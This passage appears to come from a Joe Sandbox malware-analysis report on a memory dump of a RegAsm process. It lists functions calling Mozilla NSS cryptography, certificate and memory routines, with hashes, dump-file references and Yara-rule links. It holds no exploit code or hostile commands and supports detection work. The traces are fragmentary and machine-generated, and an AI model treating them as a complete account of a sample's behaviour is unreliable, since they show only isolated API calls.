PORT_ArenaAlloc_Util.NSS3(00000000,00000028,?,6906AEB0,?,00000004,00000001,?,00000000,?,?), ref: 6906C9A1

Part of subcall function 690610C0: TlsGetValue.KERNEL32(?,69008802,00000000,00000008,?,68FFEF74,00000000), ref: 690610F3
Part of subcall function 690610C0: EnterCriticalSection.KERNEL32(?,?,69008802,00000000,00000008,?,68FFEF74,00000000), ref: 6906110C
Part of subcall function 690610C0: PL_ArenaAllocate.NSS3(?,?,?,69008802,00000000,00000008,?,68FFEF74,00000000), ref: 69061141
Part of subcall function 690610C0: PR_Unlock.NSS3(?,?,?,69008802,00000000,00000008,?,68FFEF74,00000000), ref: 69061182
Part of subcall function 690610C0: TlsGetValue.KERNEL32(?,69008802,00000000,00000008,?,68FFEF74,00000000), ref: 6906119C

SECOID_FindOIDByTag_Util.NSS3(0000001A,?,?,?,6906AEB0,?,00000004,00000001,?,00000000,?,?), ref: 6906C9D3

Part of subcall function 69060840: PR_SetError.NSS3(FFFFE08F,00000000), ref: 690608B4

SECITEM_CopyItem_Util.NSS3(00000000,-00000018,00000000,?,?,?,?,6906AEB0,?,00000004,00000001,?,00000000,?,?), ref: 6906C9E6

Part of subcall function 6905FB60: PORT_ArenaAlloc_Util.NSS3(00000000,E0056800,00000000,?,?,69058D2D,?,00000000,?), ref: 6905FB85
Part of subcall function 6905FB60: memcpy.VCRUNTIME140(00000000,6A1BEBC6,E0056800,?), ref: 6905FBB1

PORT_FreeArena_Util.NSS3(00000000,00000000,?,?,?,6906AEB0,?,00000004,00000001,?,00000000,?,?), ref: 6906C9F5
PORT_ArenaAlloc_Util.NSS3(00000000,00000050,?,?,?,?,?,?,?,6906AEB0,?,00000004,00000001,?,00000000,?), ref: 6906CA0A
SEC_ASN1EncodeInteger_Util.NSS3(00000000,00000000,00000001,?,?,?,?,?,?,?,?,?,6906AEB0,?,00000004,00000001), ref: 6906CA33
SECOID_FindOIDByTag_Util.NSS3(00000019,?,?,?,?,?,?,?,?,?,?,?,?,6906AEB0,?,00000004), ref: 6906CA4D
SECITEM_CopyItem_Util.NSS3(00000001,?,00000000), ref: 6906CA60
SEC_PKCS7DestroyContentInfo.NSS3(00000000,?,?,?,?,?,?,?,?,?,?,?,?,6906AEB0,?,00000004), ref: 6906CA6D
PR_Now.NSS3 ref: 6906CAD6
PORT_ArenaMark_Util.NSS3(00000000), ref: 6906CB23
PORT_ArenaAlloc_Util.NSS3(00000000,0000005C), ref: 6906CB32
SEC_ASN1EncodeInteger_Util.NSS3(00000000,00000000,00000001), ref: 6906CB64
SECOID_SetAlgorithmID_Util.NSS3(00000000,?,00000001,00000000), ref: 6906CBBB
PORT_ArenaAlloc_Util.NSS3(?,00000008), ref: 6906CBD0
PORT_ArenaAlloc_Util.NSS3(00000000,00000018), ref: 6906CBF6
PORT_ArenaAlloc_Util.NSS3(00000000,00000008), ref: 6906CC18
SECOID_SetAlgorithmID_Util.NSS3(00000000,00000000,00000001,00000000), ref: 6906CC39
PORT_ArenaAlloc_Util.NSS3(00000000,0000000C), ref: 6906CC5B

Part of subcall function 690610C0: PL_ArenaAllocate.NSS3(?,69008802,00000000,00000008,?,68FFEF74,00000000), ref: 6906116E

PORT_ArenaAlloc_Util.NSS3(00000000,00000008), ref: 6906CC69
SECITEM_CopyItem_Util.NSS3(00000000,?,00000000), ref: 6906CC89

Memory Dump Source

Source File: 0000000B.00000002.2436541137.0000000068F81000.00000020.00000001.01000000.00000015.sdmp, Offset: 68F80000, based on PE: true

Associated: 0000000B.00000002.2436518776.0000000068F80000.00000002.00000001.01000000.00000015.sdmpDownload File
Associated: 0000000B.00000002.2437691328.000000006911F000.00000002.00000001.01000000.00000015.sdmpDownload File
Associated: 0000000B.00000002.2437879086.000000006915E000.00000004.00000001.01000000.00000015.sdmpDownload File
Associated: 0000000B.00000002.2437901125.000000006915F000.00000008.00000001.01000000.00000015.sdmpDownload File
Associated: 0000000B.00000002.2437928253.0000000069160000.00000004.00000001.01000000.00000015.sdmpDownload File
Associated: 0000000B.00000002.2437949894.0000000069165000.00000002.00000001.01000000.00000015.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_68f80000_RegAsm.jbxd

Similarity

API ID: Util$Arena$Alloc_$CopyItem_$AlgorithmAllocateArena_EncodeFindInteger_Tag_Value$ContentCriticalDestroyEnterErrorFreeInfoInitLockMark_PoolSectionUnlockcallocmemcpy
String ID:
API String ID: 1766420342-0
Opcode ID: 1c5609c0d8c029f6af1189f83070529ef0b4227970d30f9a4bfafc786965489e
Instruction ID: 5ca83bb75c5c362ad52312c7154d63f596880b2ac985fb36be340fddefe47013
Opcode Fuzzy Hash: 1c5609c0d8c029f6af1189f83070529ef0b4227970d30f9a4bfafc786965489e
Instruction Fuzzy Hash: 43B183B9D003569FEF00CF65DD41BAA7BF4BF19308F009525EA14A7261EB71D9A0CBA1

Function 690429A0 Relevance: 22.8, APIs: 15, Instructions: 292COMMON

Download Yara Rule

APIs

PK11_ImportPublicKey.NSS3(00000000,?,00000000,?,?,?,?,?,69016A5E,00000001,00000000,?,69016540,?,0000000D,00000000), ref: 69042A39
TlsGetValue.KERNEL32(?,?,?,?,?,?,?,?,69016A5E,00000001,00000000,?,69016540,?,0000000D,00000000), ref: 69042A5B
EnterCriticalSection.KERNEL32(?,?,?,?,?,?,?,?,?,69016A5E,00000001,00000000,?,69016540,?,0000000D), ref: 69042A6F
PR_Unlock.NSS3(?,?,?,?,?,?,?,?,?,?,?,?,?,?,69016A5E,00000001), ref: 69042AAD
TlsGetValue.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,?,69016A5E,00000001,00000000), ref: 69042ACB
EnterCriticalSection.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,?,?,69016A5E,00000001), ref: 69042ADF
PR_Unlock.NSS3(?), ref: 69042B38
PR_Unlock.NSS3(?), ref: 69042B8B

Part of subcall function 68FF07A0: TlsGetValue.KERNEL32(00000000,?,?,?,?,68F8204A), ref: 68FF07AD
Part of subcall function 68FF07A0: TlsSetValue.KERNEL32(00000000,?,?,?,?,68F8204A), ref: 68FF07CD
Part of subcall function 68FF07A0: TlsSetValue.KERNEL32(00000000,?,?,?,?,68F8204A), ref: 68FF07D6
Part of subcall function 68FF07A0: calloc.MOZGLUE(00000001,00000144,?,?,?,?,68F8204A), ref: 68FF07E4
Part of subcall function 68FF07A0: TlsSetValue.KERNEL32(00000000,?,68F8204A), ref: 68FF0864
Part of subcall function 68FF07A0: calloc.MOZGLUE(00000001,0000002C), ref: 68FF0880
Part of subcall function 68FF07A0: TlsSetValue.KERNEL32(00000000,?,?,68F8204A), ref: 68FF08CB
Part of subcall function 68FF07A0: TlsGetValue.KERNEL32(?,?,68F8204A), ref: 68FF08D7
Part of subcall function 68FF07A0: TlsGetValue.KERNEL32(?,?,68F8204A), ref: 68FF08FB

PR_SetError.NSS3(FFFFE040,00000000,?,?,?,?,?,69016A5E,00000001,00000000,?,69016540,?,0000000D,00000000,?), ref: 69042CA2

Memory Dump Source

Source File: 0000000B.00000002.2436541137.0000000068F81000.00000020.00000001.01000000.00000015.sdmp, Offset: 68F80000, based on PE: true

Associated: 0000000B.00000002.2436518776.0000000068F80000.00000002.00000001.01000000.00000015.sdmpDownload File
Associated: 0000000B.00000002.2437691328.000000006911F000.00000002.00000001.01000000.00000015.sdmpDownload File
Associated: 0000000B.00000002.2437879086.000000006915E000.00000004.00000001.01000000.00000015.sdmpDownload File
Associated: 0000000B.00000002.2437901125.000000006915F000.00000008.00000001.01000000.00000015.sdmpDownload File
Associated: 0000000B.00000002.2437928253.0000000069160000.00000004.00000001.01000000.00000015.sdmpDownload File
Associated: 0000000B.00000002.2437949894.0000000069165000.00000002.00000001.01000000.00000015.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_68f80000_RegAsm.jbxd

Similarity

API ID: Value$Unlock$CriticalEnterSectioncalloc$ErrorImportK11_Public
String ID:
API String ID: 2580468248-0
Opcode ID: 8c23e7c0acb1d758d7a18950ed4bbf2ba2cc9cc4045b2728e4804703b0d44f26
Instruction ID: 96461aec32a40b82d68f463ef1ba8591f4b905ea8da560237cd993598dc856d2
Opcode Fuzzy Hash: 8c23e7c0acb1d758d7a18950ed4bbf2ba2cc9cc4045b2728e4804703b0d44f26
Instruction Fuzzy Hash: DDB1BAB5E00208DFDB10DF68D984BAAB7F5FF09704F508939E846A7251EB31E952CB91

Function 69022980 Relevance: 22.7, APIs: 15, Instructions: 217COMMON

Download Yara Rule

APIs

TlsGetValue.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,69009E71,?,?,6901F03D), ref: 690229A2
EnterCriticalSection.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,?,69009E71,?), ref: 690229B6
TlsGetValue.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,69009E71,?,?,6901F03D), ref: 690229E2
EnterCriticalSection.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,?,69009E71,?), ref: 690229F6
PL_HashTableLookup.NSS3(?,?,?,?,?,?,?,?,?,?,?,?,?,?,69009E71,?), ref: 69022A06
PR_Unlock.NSS3(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,69009E71), ref: 69022A13

Part of subcall function 690ADD70: TlsGetValue.KERNEL32 ref: 690ADD8C
Part of subcall function 690ADD70: LeaveCriticalSection.KERNEL32(00000000), ref: 690ADDB4

PR_Unlock.NSS3(?), ref: 69022A6A
TlsGetValue.KERNEL32 ref: 69022A98
EnterCriticalSection.KERNEL32(?), ref: 69022AAC
PL_HashTableLookup.NSS3(?,?), ref: 69022ABC
PR_Unlock.NSS3(?), ref: 69022AC9
TlsGetValue.KERNEL32 ref: 69022B3D
EnterCriticalSection.KERNEL32(?), ref: 69022B51
PL_HashTableLookup.NSS3(?,69009E71), ref: 69022B61
PR_Unlock.NSS3(?), ref: 69022B6E

Part of subcall function 68FF07A0: TlsGetValue.KERNEL32(00000000,?,?,?,?,68F8204A), ref: 68FF07AD
Part of subcall function 68FF07A0: TlsSetValue.KERNEL32(00000000,?,?,?,?,68F8204A), ref: 68FF07CD
Part of subcall function 68FF07A0: TlsSetValue.KERNEL32(00000000,?,?,?,?,68F8204A), ref: 68FF07D6
Part of subcall function 68FF07A0: calloc.MOZGLUE(00000001,00000144,?,?,?,?,68F8204A), ref: 68FF07E4
Part of subcall function 68FF07A0: TlsSetValue.KERNEL32(00000000,?,68F8204A), ref: 68FF0864
Part of subcall function 68FF07A0: calloc.MOZGLUE(00000001,0000002C), ref: 68FF0880
Part of subcall function 68FF07A0: TlsSetValue.KERNEL32(00000000,?,?,68F8204A), ref: 68FF08CB
Part of subcall function 68FF07A0: TlsGetValue.KERNEL32(?,?,68F8204A), ref: 68FF08D7
Part of subcall function 68FF07A0: TlsGetValue.KERNEL32(?,?,68F8204A), ref: 68FF08FB

Memory Dump Source

Source File: 0000000B.00000002.2436541137.0000000068F81000.00000020.00000001.01000000.00000015.sdmp, Offset: 68F80000, based on PE: true

Associated: 0000000B.00000002.2436518776.0000000068F80000.00000002.00000001.01000000.00000015.sdmpDownload File
Associated: 0000000B.00000002.2437691328.000000006911F000.00000002.00000001.01000000.00000015.sdmpDownload File
Associated: 0000000B.00000002.2437879086.000000006915E000.00000004.00000001.01000000.00000015.sdmpDownload File
Associated: 0000000B.00000002.2437901125.000000006915F000.00000008.00000001.01000000.00000015.sdmpDownload File
Associated: 0000000B.00000002.2437928253.0000000069160000.00000004.00000001.01000000.00000015.sdmpDownload File
Associated: 0000000B.00000002.2437949894.0000000069165000.00000002.00000001.01000000.00000015.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_68f80000_RegAsm.jbxd

Similarity

API ID: Value$CriticalSection$EnterUnlock$HashLookupTable$calloc$Leave
String ID:
API String ID: 2204204336-0
Opcode ID: cf74e6be0c4be366c30408499cf75b6462ecf536fc46a4750727b82afc8c9f06
Instruction ID: c6a9197b411517d403e63c344bf46faaa9d07bc85fc28f4457bf0e6f36125e17
Opcode Fuzzy Hash: cf74e6be0c4be366c30408499cf75b6462ecf536fc46a4750727b82afc8c9f06
Instruction Fuzzy Hash: 8D71097AC00204ABDF11DF68DC40A6A77B9FF05354B558965EC2C9B212FB31E952CBD1

Function 69114960 Relevance: 21.1, APIs: 14, Instructions: 121COMMON

Download Yara Rule

APIs

malloc.MOZGLUE(00000004,?,69118061,?,?,?,?), ref: 6911497D
OpenSemaphoreA.KERNEL32(00100002,00000000,?), ref: 6911499E
GetLastError.KERNEL32(?,?,69118061,?,?,?,?), ref: 691149AC
PR_SetError.NSS3(FFFFE8C2,0000007B,?,?,69118061,?,?,?,?), ref: 691149C2

Part of subcall function 690AC2A0: TlsGetValue.KERNEL32(FFFFE89D,00000000,?,?,?,?,?,?,?,?,?,?,?,00000001,00000000,00000000), ref: 690AC2BF

PR_SetError.NSS3(FFFFE890,00000000,?,?,69118061,?,?,?,?), ref: 691149D6
CreateSemaphoreA.KERNEL32(00000000,69118061,7FFFFFFF,?), ref: 69114A19
GetLastError.KERNEL32(?,?,?,?,69118061,?,?,?,?), ref: 69114A30
PR_SetError.NSS3(FFFFE8C9,000000B7,?,?,?,?,69118061,?,?,?,?), ref: 69114A49
CloseHandle.KERNEL32(00000000,?,?,?,?,?,?,69118061,?,?,?,?), ref: 69114A52
GetLastError.KERNEL32(?,?,?,?,69118061,?,?,?,?), ref: 69114A5A
free.MOZGLUE(00000000,?,?,?,?,?,69118061,?,?,?,?), ref: 69114A6A
CreateSemaphoreA.KERNEL32(?,69118061,7FFFFFFF,?), ref: 69114A9A
free.MOZGLUE(?,?,?,?,?,69118061,?,?,?,?), ref: 69114AAE
free.MOZGLUE(?,?,?,?,?,69118061,?,?,?,?), ref: 69114AC2

Memory Dump Source

Source File: 0000000B.00000002.2436541137.0000000068F81000.00000020.00000001.01000000.00000015.sdmp, Offset: 68F80000, based on PE: true

Associated: 0000000B.00000002.2436518776.0000000068F80000.00000002.00000001.01000000.00000015.sdmpDownload File
Associated: 0000000B.00000002.2437691328.000000006911F000.00000002.00000001.01000000.00000015.sdmpDownload File
Associated: 0000000B.00000002.2437879086.000000006915E000.00000004.00000001.01000000.00000015.sdmpDownload File
Associated: 0000000B.00000002.2437901125.000000006915F000.00000008.00000001.01000000.00000015.sdmpDownload File
Associated: 0000000B.00000002.2437928253.0000000069160000.00000004.00000001.01000000.00000015.sdmpDownload File
Associated: 0000000B.00000002.2437949894.0000000069165000.00000002.00000001.01000000.00000015.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_68f80000_RegAsm.jbxd

Similarity

API ID: Error$LastSemaphorefree$Create$CloseHandleOpenValuemalloc
String ID:
API String ID: 2092618053-0
Opcode ID: 19197bf1c98178de8fa0f6d28f834410aff10289e0cb9fb579cb779e0140f5f4
Instruction ID: 1e5505c23e710f6dd840185cd380b7c9589a3b091d3be6854d206e486b9369ac
Opcode Fuzzy Hash: 19197bf1c98178de8fa0f6d28f834410aff10289e0cb9fb579cb779e0140f5f4
Instruction Fuzzy Hash: D641E7B4E04219EFDF00DFA4DC89B8E7BA8BB5A75DF210034F91AA7281EB319504C761

Function 6900E910 Relevance: 17.6, APIs: 9, Strings: 1, Instructions: 149memorystringCOMMON

Download Yara Rule

APIs

PL_strncasecmp.NSS3(?,http://,00000007), ref: 6900E93B
PR_SetError.NSS3(FFFFE075,00000000), ref: 6900E94E
PORT_Alloc_Util.NSS3(00000001), ref: 6900E995
memcpy.VCRUNTIME140(00000000,?,00000000), ref: 6900E9A7
strtol.API-MS-WIN-CRT-CONVERT-L1-1-0(?,00000000,0000000A), ref: 6900E9CA
PORT_Strdup_Util.NSS3(6914933E), ref: 6900EA17
PORT_Alloc_Util.NSS3(00000001), ref: 6900EA28

Part of subcall function 69060BE0: malloc.MOZGLUE(69058D2D,?,00000000,?), ref: 69060BF8
Part of subcall function 69060BE0: TlsGetValue.KERNEL32(69058D2D,?,00000000,?), ref: 69060C15

memcpy.VCRUNTIME140(00000000,?,00000000), ref: 6900EA3C
free.MOZGLUE(?), ref: 6900EA69

Strings

http://, xrefs: 6900E935

Memory Dump Source

Source File: 0000000B.00000002.2436541137.0000000068F81000.00000020.00000001.01000000.00000015.sdmp, Offset: 68F80000, based on PE: true

Associated: 0000000B.00000002.2436518776.0000000068F80000.00000002.00000001.01000000.00000015.sdmpDownload File
Associated: 0000000B.00000002.2437691328.000000006911F000.00000002.00000001.01000000.00000015.sdmpDownload File
Associated: 0000000B.00000002.2437879086.000000006915E000.00000004.00000001.01000000.00000015.sdmpDownload File
Associated: 0000000B.00000002.2437901125.000000006915F000.00000008.00000001.01000000.00000015.sdmpDownload File
Associated: 0000000B.00000002.2437928253.0000000069160000.00000004.00000001.01000000.00000015.sdmpDownload File
Associated: 0000000B.00000002.2437949894.0000000069165000.00000002.00000001.01000000.00000015.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_68f80000_RegAsm.jbxd

Similarity

API ID: Util$Alloc_memcpy$ErrorL_strncasecmpStrdup_Valuefreemallocstrtol
String ID: http://
API String ID: 3982757857-1121587658
Opcode ID: 59a53a5ef0e453f844c3a5674e007c273c58c7fa287258027d311548e6b08cd2
Instruction ID: 5968a79b9c22c7ab4b823f54195af4cf1eb77ce148547885391a5b0167755841
Opcode Fuzzy Hash: 59a53a5ef0e453f844c3a5674e007c273c58c7fa287258027d311548e6b08cd2
Instruction Fuzzy Hash: F4419E74D482065BFF608AA88C717FE77E5BB4B348F400826DD95B7341E3119543C3A6

Function 69008980 Relevance: 13.6, APIs: 9, Instructions: 150memoryCOMMON

Download Yara Rule

APIs

PORT_FreeArena_Util.NSS3(00000000,00000000,00000000,?,00000028,?,?,69007310), ref: 690089B8

Part of subcall function 69061200: TlsGetValue.KERNEL32(00000000,00000000,00000000,?,690088A4,00000000,00000000), ref: 69061228
Part of subcall function 69061200: EnterCriticalSection.KERNEL32(B8AC9BDF), ref: 69061238
Part of subcall function 69061200: PL_ClearArenaPool.NSS3(00000000,00000000,00000000,00000000,00000000,?,690088A4,00000000,00000000), ref: 6906124B
Part of subcall function 69061200: PR_CallOnce.NSS3(69162AA4,690612D0,00000000,00000000,00000000,?,690088A4,00000000,00000000), ref: 6906125D
Part of subcall function 69061200: PL_FreeArenaPool.NSS3(00000000,00000000,00000000), ref: 6906126F
Part of subcall function 69061200: free.MOZGLUE(00000000,?,00000000,00000000), ref: 69061280
Part of subcall function 69061200: PR_Unlock.NSS3(00000000,?,?,00000000,00000000), ref: 6906128E
Part of subcall function 69061200: DeleteCriticalSection.KERNEL32(0000001C,?,?,?,00000000,00000000), ref: 6906129A
Part of subcall function 69061200: free.MOZGLUE(00000000,?,?,?,00000000,00000000), ref: 690612A1

PORT_ArenaAlloc_Util.NSS3(00000004,00000004,00000000,?,00000028,?,?,69007310), ref: 690089E6
PORT_ArenaAlloc_Util.NSS3(00000004,00000004,00000004,?), ref: 69008A00
CERT_CopyRDN.NSS3(00000004,00000000,69007310,?,?,00000004,?), ref: 69008A1B
PORT_ArenaGrow_Util.NSS3(00000004,00000000,?,?,?,?,?,?,?,00000004,?), ref: 69008A74
PR_SetError.NSS3(FFFFE005,00000000,00000000,?,00000028,?,?,69007310), ref: 69008AAF
PORT_ArenaAlloc_Util.NSS3(00000004,00000008,00000000,?,00000028,?,?,69007310), ref: 69008AF3
PORT_ArenaGrow_Util.NSS3(00000004,?,C8850FC0,00000000,00000000,?,00000028,?,?,69007310), ref: 69008B1D

Memory Dump Source

Source File: 0000000B.00000002.2436541137.0000000068F81000.00000020.00000001.01000000.00000015.sdmp, Offset: 68F80000, based on PE: true

Associated: 0000000B.00000002.2436518776.0000000068F80000.00000002.00000001.01000000.00000015.sdmpDownload File
Associated: 0000000B.00000002.2437691328.000000006911F000.00000002.00000001.01000000.00000015.sdmpDownload File
Associated: 0000000B.00000002.2437879086.000000006915E000.00000004.00000001.01000000.00000015.sdmpDownload File
Associated: 0000000B.00000002.2437901125.000000006915F000.00000008.00000001.01000000.00000015.sdmpDownload File
Associated: 0000000B.00000002.2437928253.0000000069160000.00000004.00000001.01000000.00000015.sdmpDownload File
Associated: 0000000B.00000002.2437949894.0000000069165000.00000002.00000001.01000000.00000015.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_68f80000_RegAsm.jbxd

Similarity

API ID: Arena$Util$Alloc_$CriticalFreeGrow_PoolSectionfree$Arena_CallClearCopyDeleteEnterErrorOnceUnlockValue
String ID:
API String ID: 3791662518-0
Opcode ID: 3e718ccd6bab1a6fedfd2d9a6eb7fe1c954d190e0ed5511cbc5e350e8e81dcb0
Instruction ID: c91647fa5227a91ecf1506795016a1a053c8d0dc1704d781be9acad6f8dc94a5
Opcode Fuzzy Hash: 3e718ccd6bab1a6fedfd2d9a6eb7fe1c954d190e0ed5511cbc5e350e8e81dcb0
Instruction Fuzzy Hash: 8751BDB5A00210AFFB10CF14CC50B6A77E8FF82758F45C968ED199B691E772E905CB91

Function 68F9E890 Relevance: 12.4, APIs: 5, Strings: 3, Instructions: 442stringCOMMON

Download Yara Rule

APIs

strlen.API-MS-WIN-CRT-STRING-L1-1-0(00000001), ref: 68F9E922
memset.VCRUNTIME140(00000000,00000000,?), ref: 68F9E9CF
memcpy.VCRUNTIME140(00000024,?,?), ref: 68F9EA0F
strlen.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 68F9EB20
memcpy.VCRUNTIME140(?,?,?), ref: 68F9EB57

Strings

unknown column "%s" in foreign key definition, xrefs: 68F9ED18
foreign key on %s should reference only one column of table %T, xrefs: 68F9EE04
number of columns in foreign key does not match the number of columns in the referenced table, xrefs: 68F9EDC2

Memory Dump Source

Source File: 0000000B.00000002.2436541137.0000000068F81000.00000020.00000001.01000000.00000015.sdmp, Offset: 68F80000, based on PE: true

Associated: 0000000B.00000002.2436518776.0000000068F80000.00000002.00000001.01000000.00000015.sdmpDownload File
Associated: 0000000B.00000002.2437691328.000000006911F000.00000002.00000001.01000000.00000015.sdmpDownload File
Associated: 0000000B.00000002.2437879086.000000006915E000.00000004.00000001.01000000.00000015.sdmpDownload File
Associated: 0000000B.00000002.2437901125.000000006915F000.00000008.00000001.01000000.00000015.sdmpDownload File
Associated: 0000000B.00000002.2437928253.0000000069160000.00000004.00000001.01000000.00000015.sdmpDownload File
Associated: 0000000B.00000002.2437949894.0000000069165000.00000002.00000001.01000000.00000015.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_68f80000_RegAsm.jbxd

Similarity

API ID: memcpystrlen$memset
String ID: foreign key on %s should reference only one column of table %T$number of columns in foreign key does not match the number of columns in the referenced table$unknown column "%s" in foreign key definition
API String ID: 638109778-272990098
Opcode ID: 02f6aa0b79c590fe41570d14201a59348f677f07ded14bce99856c37bc9f460b
Instruction ID: 30dc942d3adb6c3b91c20bf9ca9ba68af25c1a4f90647c71450d0c761f18c9a6
Opcode Fuzzy Hash: 02f6aa0b79c590fe41570d14201a59348f677f07ded14bce99856c37bc9f460b
Instruction Fuzzy Hash: 8F02A1B5E04209DFEF04CF98C480AAEB7F2FF89314F958169D855AB351E771A841CBA0

Function 69016980 Relevance: 10.6, APIs: 7, Instructions: 126COMMON

Download Yara Rule

APIs

Part of subcall function 69015DB0: NSS_GetAlgorithmPolicy.NSS3(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 69015DEC
Part of subcall function 69015DB0: PR_SetError.NSS3(FFFFE0B5,00000000,?,?,?,?,?,?,?,?), ref: 69015E0F

SECITEM_DupItem_Util.NSS3(?,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 690169BA

Part of subcall function 6905FD80: PORT_Alloc_Util.NSS3(0000000C,?,?,00000001,?,69009003,?), ref: 6905FD91
Part of subcall function 6905FD80: PORT_Alloc_Util.NSS3(A4686906,?), ref: 6905FDA2
Part of subcall function 6905FD80: memcpy.VCRUNTIME140(00000000,12D068C3,A4686906,?,?), ref: 6905FDC4

VFY_EndWithSignature.NSS3(00000000,00000000,?,?,?,?,?,?,?,?,?), ref: 69016A59
SECKEY_DestroyPublicKey.NSS3(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 69016AB7
free.MOZGLUE(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 69016ACA
SECITEM_ZfreeItem_Util.NSS3(?,00000001,?,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 69016AE0
free.MOZGLUE(00000000,?,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 69016AE9

Memory Dump Source

Source File: 0000000B.00000002.2436541137.0000000068F81000.00000020.00000001.01000000.00000015.sdmp, Offset: 68F80000, based on PE: true

Associated: 0000000B.00000002.2436518776.0000000068F80000.00000002.00000001.01000000.00000015.sdmpDownload File
Associated: 0000000B.00000002.2437691328.000000006911F000.00000002.00000001.01000000.00000015.sdmpDownload File
Associated: 0000000B.00000002.2437879086.000000006915E000.00000004.00000001.01000000.00000015.sdmpDownload File
Associated: 0000000B.00000002.2437901125.000000006915F000.00000008.00000001.01000000.00000015.sdmpDownload File
Associated: 0000000B.00000002.2437928253.0000000069160000.00000004.00000001.01000000.00000015.sdmpDownload File
Associated: 0000000B.00000002.2437949894.0000000069165000.00000002.00000001.01000000.00000015.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_68f80000_RegAsm.jbxd

Similarity

API ID: Util$Alloc_Item_free$AlgorithmDestroyErrorPolicyPublicSignatureWithZfreememcpy
String ID:
API String ID: 2730469119-0
Opcode ID: 7b5f4ab3d53ec0e794695f9952be27eb3d868b1d9d1ba50c3ead825ae0bf0126
Instruction ID: a34ad076f2725a57b8ba96859ddea8f0c4e6cd8c1390ee91b5f7dc0bbb9545db
Opcode Fuzzy Hash: 7b5f4ab3d53ec0e794695f9952be27eb3d868b1d9d1ba50c3ead825ae0bf0126
Instruction Fuzzy Hash: 2A41C6B5A046049BDB10DFA8EC45BAB77EDBF45750F088838E45A87240EF31E911CBE1

Function 69002920 Relevance: 10.6, APIs: 7, Instructions: 121timeCOMMON

Download Yara Rule

APIs

DER_DecodeTimeChoice_Util.NSS3(?,?), ref: 6900294E

Part of subcall function 69061820: DER_GeneralizedTimeToTime_Util.NSS3(?,?,?,69001D97,?,?), ref: 69061836

DER_DecodeTimeChoice_Util.NSS3(?,?), ref: 6900296A
DER_DecodeTimeChoice_Util.NSS3(?,?), ref: 69002991

Part of subcall function 69061820: PR_SetError.NSS3(FFFFE005,00000000,?,69001D97,?,?), ref: 6906184D

DER_DecodeTimeChoice_Util.NSS3(?,?), ref: 690029AF
PR_Now.NSS3 ref: 69002A29
PR_SetError.NSS3(FFFFE005,00000000), ref: 69002A50
PR_SetError.NSS3(FFFFE005,00000000), ref: 69002A79

Memory Dump Source

Source File: 0000000B.00000002.2436541137.0000000068F81000.00000020.00000001.01000000.00000015.sdmp, Offset: 68F80000, based on PE: true

Associated: 0000000B.00000002.2436518776.0000000068F80000.00000002.00000001.01000000.00000015.sdmpDownload File
Associated: 0000000B.00000002.2437691328.000000006911F000.00000002.00000001.01000000.00000015.sdmpDownload File
Associated: 0000000B.00000002.2437879086.000000006915E000.00000004.00000001.01000000.00000015.sdmpDownload File
Associated: 0000000B.00000002.2437901125.000000006915F000.00000008.00000001.01000000.00000015.sdmpDownload File
Associated: 0000000B.00000002.2437928253.0000000069160000.00000004.00000001.01000000.00000015.sdmpDownload File
Associated: 0000000B.00000002.2437949894.0000000069165000.00000002.00000001.01000000.00000015.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_68f80000_RegAsm.jbxd

Similarity

API ID: TimeUtil$Choice_Decode$Error$GeneralizedTime_
String ID:
API String ID: 2509447271-0
Opcode ID: b36da52c16c8d9771154b5545b430f8512c02639432eecd9db0b0d832f76e52c
Instruction ID: 6762fb125dd4f4709e41d628a0c07b8f71566628ceba46f8f5d047cf2ab29cb6
Opcode Fuzzy Hash: b36da52c16c8d9771154b5545b430f8512c02639432eecd9db0b0d832f76e52c
Instruction Fuzzy Hash: 80419F75A083119FD710CE2CC950B4FB3E9BBC9754F449E2DF89893200EB30E90A8B92

Function 6911C9B0 Relevance: 10.5, APIs: 7, Instructions: 45COMMON

Download Yara Rule

APIs

DeleteCriticalSection.KERNEL32(00000000,69091AB6,00000000,?,?,690907B9,?), ref: 6911C9C6
free.MOZGLUE(?,?,690907B9,?), ref: 6911C9D3
DeleteCriticalSection.KERNEL32(00000000,00000001), ref: 6911C9E5
free.MOZGLUE(?), ref: 6911C9EC
DeleteCriticalSection.KERNEL32(00000080), ref: 6911C9F8
free.MOZGLUE(?), ref: 6911C9FF
free.MOZGLUE(00000000), ref: 6911CA0B

Memory Dump Source

Source File: 0000000B.00000002.2436541137.0000000068F81000.00000020.00000001.01000000.00000015.sdmp, Offset: 68F80000, based on PE: true

Associated: 0000000B.00000002.2436518776.0000000068F80000.00000002.00000001.01000000.00000015.sdmpDownload File
Associated: 0000000B.00000002.2437691328.000000006911F000.00000002.00000001.01000000.00000015.sdmpDownload File
Associated: 0000000B.00000002.2437879086.000000006915E000.00000004.00000001.01000000.00000015.sdmpDownload File
Associated: 0000000B.00000002.2437901125.000000006915F000.00000008.00000001.01000000.00000015.sdmpDownload File
Associated: 0000000B.00000002.2437928253.0000000069160000.00000004.00000001.01000000.00000015.sdmpDownload File
Associated: 0000000B.00000002.2437949894.0000000069165000.00000002.00000001.01000000.00000015.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_68f80000_RegAsm.jbxd

Similarity

API ID: free$CriticalDeleteSection
String ID:
